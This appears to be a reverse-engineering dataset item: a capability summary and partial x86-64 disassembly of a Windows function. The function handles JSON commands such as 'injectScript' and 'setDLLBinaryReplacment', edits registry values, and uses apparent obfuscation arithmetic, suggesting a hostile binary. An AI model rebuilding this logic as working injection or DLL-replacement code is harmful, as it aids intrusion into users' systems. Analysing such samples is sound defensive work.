Function at 0x140060590
Capabilities:
Create http request
Delete registry key
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x5610
call fcn.1400d0b90
sub rsp, rax
mov qword [rsp + 0x860], 0xfffffffffffffffe
mov rax, qword [0x1401b5e90]
xor rax, rsp
mov qword [rsp + 0x5600], rax
mov r12, r8
mov rbx, rdx
mov qword [rsp + 0x40], rdx
mov rsi, rcx
mov qword [rsp + 0x540], rcx
mov qword [rsp + 0x398], rcx
mov qword [rsp + 0x220], rdx
mov qword [rsp + 0x380], r8
mov r8d, dword [0x1401bdd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 1
jne 0x140060669
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x63
movsxd rcx, r8d
mov eax, 4
mul rcx
mov r15, 0xffffffffffffffff
cmovo rax, r15
mov rcx, rax
call fcn.1400cb128
mov rcx, rax
call fcn.1400cc208
jmp 0x14006066d
or r15, 0xffffffffffffffff
xor r13b, r13b
mov byte [rsp + 0x7a], r13b
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140037e80
nop
lea rcx, [rsp + 0x4c60]
call fcn.140033100
nop
mov rdx, qword [rbx]
mov qword [rsp + 0xe08], rdx
lea rcx, [rsp + 0x70]
call fcn.14001abc0
nop
mov rdx, qword [rsp + 0x70]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xe18], rax
cmp dword [rax + 0x10], 1
jle 0x1400606cf
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14001b700
mov rdx, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x4b20], rdi
mov qword [rsp + 0x4b28], rdi
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], dil
cmp byte [rdx], dil
jne 0x140060707
mov r8d, edi
jmp 0x140060719
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x140060710
lea rcx, [rsp + 0x4b10]
call fcn.1400013f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x4b10]
lea rcx, [rsp + 0x4c60]
call fcn.1400331b0
test al, al
jne 0x14006082e
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x320]
call fcn.140003420
nop
lea rdx, [rsp + 0x320]
mov rcx, qword [rsi + 0x40]
call fcn.14005b260
nop
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400607a2
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x1400607ba
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x810], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140060805
mov rdx, qword [rsp + 0x810]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
cmp byte [rsp + 0x60], 0
jne 0x14006091e
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x288]
call fcn.140003420
nop
lea rdx, [rsp + 0x288]
mov rcx, qword [rsi + 0x40]
call fcn.14005b260
nop
mov rcx, qword [rsp + 0x288]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140060892
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x1400608aa
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x690], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400608f5
mov rdx, qword [rsp + 0x690]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.140038e30
mov qword [rsp + 0xe28], rax
lea r14, [0x1401bea18]
cmp rax, r14
je 0x14006554a
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xe38], rax
cmp byte [rax + 8], 4
jne 0x14006554a
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038e30
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xe48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc70], rdx
lea rcx, [rsp + 0x48]
call fcn.140003420
nop
mov rax, qword [rsp + 0x48]
lea r8, str.injectScript
mov rdx, r15
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x1400609e8
add rdx, 2
cmp rdx, 0xd
je 0x1400609e4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x1400609e8
jmp 0x1400609c0
mov ecx, edi
jmp 0x1400609ed
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x440], ecx
test ecx, ecx
jne 0x1400615eb
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x848], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xeb0], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x870], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xc80], rax
mov rdx, qword [rax]
mov qword [rsp + 0x880], rdx
lea rcx, [rsp + 0x88]
call fcn.140003420
nop
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x840], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400cc61c
mov r14, rax
mov qword [rsp + 0x148], rax
test rax, rax
je 0x1400614e9
mov r8, rax
lea rdx, [rsp + 0x88]
call fcn.1400656d0
test al, al
je 0x1400614e9
mov rbx, qword [rsi + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0xf98], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0x890], rcx
mov edx, 0x5c
call fcn.1400ce3c8
mov rcx, rax
mov qword [rsp + 0xc90], rax
test rax, rax
jne 0x140060b07
mov ecx, r15d
jmp 0x140060b18
mov rax, qword [rbx]
mov qword [rsp + 0x8a0], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [rsi + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0x100]
call fcn.140027f30
nop
mov ecx, dword [0x1401bdd80]
imul ecx, ecx
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0xc
jne 0x140060bbd
mov eax, dword [str.MBgno4]
mov dword [rsp + 0x150], eax
movzx eax, word [0x14014cc10]
mov word [rsp + 0x154], ax
movzx eax, byte [0x14014cc12]
mov byte [rsp + 0x156], al
lea rax, [rsp + 0x150]
mov rcx, r15
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140060b90
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400cb128
mov qword [rsp + 0xed0], rax
mov rcx, rax
call fcn.1400cc208
mov rax, qword [rsi + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x8b0], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xca0], rcx
call fcn.1400024f0
mov qword [rsp + 0x8c0], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x550], rbx
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsi + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x22c], eax
test eax, eax
je 0x140060d87
test r12, r12
je 0x140060c3e
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x4e0], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140060c68
mov rdx, qword [rsp + 0x4e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x770], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140060c9a
mov rdx, qword [rsp + 0x770]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140060ccc
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140060cfb
mov rdx, qword [rsp + 0x6a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x140060d13
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x500], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140060d5e
mov rdx, qword [rsp + 0x500]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
mov r13, qword [rsi + 0x40]
add r13, 0x2c8
mov qword [rsp + 0x160], r13
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xfa8], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0x8d0], rax
lea rcx, [0x1401bea18]
cmp rax, rcx
je 0x14006114f
mov r8d, dword [0x1401bdd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 1
jne 0x140060e51
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400cb128
mov qword [rsp + 0xcb0], rax
mov rcx, rax
call fcn.1400cc208
lea rcx, [0x1401b59a8]
mov rax, qword [0x1401b59a8]
call qword [rax + 0x18]
mov qword [rsp + 0x8e0], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x110], rbx
mov eax, dword [0x1401bdd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 5
jne 0x140060eaa
call fcn.1400cc4a0
mov dword [0x1401bdd80], eax
mov eax, edi
mov dword [rsp + 0xec], eax
mov esi, edi
mov dword [rsp + 0xb4], edi
mov r14d, 1
test eax, eax
jne 0x14006110f
mov dword [rsp + 0x158], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0xef0], rax
mov ecx, r14d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x808], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x818], eax
or eax, ecx
jge 0x140060f1b
mov edx, 0x7ffe
lea rcx, [rsp + 0x110]
call fcn.140002490
mov rbx, qword [rsp + 0x110]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x140060f2e
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x158]
mov r8, rbx
mov edx, esi
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xec], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x828], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400cc6d4
mov dword [rsp + 0x838], eax
test eax, eax
js 0x140061105
cmp eax, dword [rbx - 0xc]
jg 0x140061105
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov dword [r13], edi
lea r8, str._data
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x7e0]
call fcn.14001aed0
mov qword [rsp + 0x8f0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc0], rdx
test rdx, rdx
jne 0x140060fe6
mov eax, r15d
jmp 0x140061019
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x790], eax
test eax, eax
jns 0x140060ff9
mov eax, r15d
jmp 0x140061019
mov rcx, rbx
call fcn.1400cc8a4
mov qword [rsp + 0x900], rax
test rax, rax
jne 0x140061013
mov eax, r15d
jmp 0x140061019
sub rax, rbx
sar rax, 1
mov dword [rsp + 0x9c], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x7e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061059
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x7b], 0
je 0x1400610d9
mov esi, edi
mov dword [rsp + 0xb4], edi
mov rbx, qword [rsp + 0x110]
mov rdx, rbx
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x22c], eax
test eax, eax
je 0x1400610a4
test r12, r12
je 0x14006110f
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
jmp 0x140061114
mov r8d, dword [0x1401bdd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 5
jne 0x1400610f1
dec r8d
mov dword [0x1401bdd80], r8d
jmp 0x1400610f1
mov esi, dword [rsp + 0xb4]
inc esi
mov dword [rsp + 0xb4], esi
mov rbx, qword [rsp + 0x110]
mov r13, qword [rsp + 0x160]
mov eax, dword [rsp + 0xec]
jmp 0x140060ec2
mov ecx, 0x80070057
call fcn.140001920
mov esi, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x6b0], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006113d
mov rdx, qword [rsp + 0x6b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r14, qword [rsp + 0x148]
mov r13, qword [rsp + 0x160]
jmp 0x140061154
mov esi, 0xb
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x450], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r14
mov rcx, r14
call fcn.1400604a0
mov edx, dword [r13]
lea eax, [rdx + 1]
mov dword [r13], eax
lea rcx, [rsp + 0x4bc0]
call fcn.14005ff60
mov qword [rsp + 0xfb8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400611a3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x530]
call fcn.140003420
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x520]
call fcn.14001aed0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x370]
call fcn.14000feb0
nop
mov rcx, qword [rsp + 0x520]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x780], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061219
mov rdx, qword [rsp + 0x780]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x530]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006124b
mov rdx, qword [rsp + 0x6c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4bd8], 0x10
jb 0x140061263
mov rcx, qword [rsp + 0x4bc0]
call fcn.1400cbac0
mov qword [rsp + 0x4bd8], 0xf
mov qword [rsp + 0x4bd0], rdi
mov byte [rsp + 0x4bc0], 0
mov ecx, dword [0x1401bdd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 8
jne 0x1400612ca
mov dword [rsp + 0x1d60], edi
mov dword [rsp + 0x2930], edi
mov dword [rsp + 0x3ec0], edi
mov r14, qword [rsp + 0x148]
xor al, al
jne 0x140061315
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x650], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x370]
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0xf8]
lea rdx, [rsp + 0x100]
mov rbx, qword [rsp + 0x540]
mov rcx, rbx
call fcn.140065800
mov rcx, r14
call fcn.1400cc598
mov r8d, dword [0x1401bdd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 2
jne 0x14006139e
mov dword [rsp + 0x234], edi
nop dword [rax]
mov eax, r8d
or eax, 0xffffff05
add r8d, eax
mov dword [0x1401bdd80], r8d
inc edi
mov dword [rsp + 0x234], edi
mov eax, r8d
imul eax, r8d
cmp edi, eax
jg 0x140061398
jmp 0x140061370
mov dword [0x1401bdd80], edi
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x1401bdd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x38e38e39
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub r8d, eax
cmp r8d, 4
jne 0x1400613fb
call fcn.1400cc4a0
mov ecx, dword [0x1401bdd80]
cmp ecx, eax
jne 0x1400613f5
dec ecx
mov dword [0x1401bdd80], ecx
dec dword [0x1401bf37c]
test r12, r12
je 0x14006140b
mov word [r12], si
mov word [r12 + 8], r15w
mov rax, qword [rbx + 0x40]
cmp dword [rax + 0x2d0], 3
jne 0x140061422
mov dword [rax + 0x2d0], 4
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x830], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061454
mov rdx, qword [rsp + 0x830]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x550]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061486
mov rdx, qword [rsp + 0x6d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400614b8
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065500
mov rdx, qword [rsp + 0x3d8]
jmp 0x1400654f7
test r12, r12
je 0x1400614fe
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061530
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006155f
mov rdx, qword [rsp + 0x6e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x140061577
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400615c2
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
lea r8, str.setDLLBinaryReplacment
mov rdx, r15
nop word [rax + rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x140061628
add rdx, 2
cmp rdx, 0x17
je 0x140061624
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x140061628
jmp 0x140061600
mov eax, edi
jmp 0x14006162d
sbb eax, eax
or eax, 1
mov dword [rsp + 0x460], eax
test eax, eax
jne 0x140062301
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x910], rax
lea rdx, str.from
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xcd0], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x920], rax
lea rdx, [0x14014ccb8]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xf10], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x930], rax
lea rdx, str.offset
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xce0], rax
cmp byte [rax + 8], 1
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x940], rax
lea rdx, str.from
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xfc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x950], rdx
lea rcx, [rsp + 0x80]
call fcn.140003420
nop
mov eax, dword [0x1401bdd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 6
jne 0x140061763
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xcf0], rax
lea rdx, [0x14014ccb8]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x960], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfd8], rdx
lea rcx, [rsp + 0x90]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x970], rax
lea rdx, str.offset
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xd00], rax
mov rcx, rax
call fcn.140038460
mov dword [rsp + 0x1d8], eax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x750], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400cc61c
mov r14, rax
mov qword [rsp + 0x7b0], rax
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x470], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400cc61c
mov rbx, rax
mov qword [rsp + 0x5f0], rax
test r14, r14
je 0x1400621cd
test rax, rax
je 0x1400621cd
mov r8, r14
lea rdx, [rsp + 0x80]
call fcn.1400656d0
test al, al
je 0x1400621cd
mov r8, rbx
lea rdx, [rsp + 0x90]
call fcn.1400656d0
test al, al
je 0x1400621cd
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x660], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r14
mov rcx, r14
call fcn.1400604a0
mov r10d, dword [0x1401bdd80]
mov ecx, r10d
imul ecx, r10d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 6
jne 0x14006190b
mov r8d, edi
mov dword [rsp + 0x250], edi
nop dword [rax]
movsxd r9, r8d
cmp r9, 0x5c
jae 0x14006190b
mov eax, r10d
sub eax, r8d
lea ecx, [r8 + r10]
cdq
idiv ecx
mov dword [rsp + r9*4 + 0x4eb0], edx
inc r8d
mov dword [rsp + 0x250], r8d
jmp 0x1400618e0
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x480], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.1400604a0
mov rbx, qword [rsi + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x980], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xf48], rcx
mov edx, 0x5c
call fcn.1400ce3c8
mov rcx, rax
mov qword [rsp + 0x990], rax
test rax, rax
jne 0x14006196d
mov ecx, r15d
jmp 0x14006197e
mov rax, qword [rbx]
mov qword [rsp + 0xd10], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [rsi + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xc0]
call fcn.140027f30
nop
mov rax, qword [rsi + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x9a0], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xf30], rcx
call fcn.1400024f0
mov qword [rsp + 0x9b0], rax
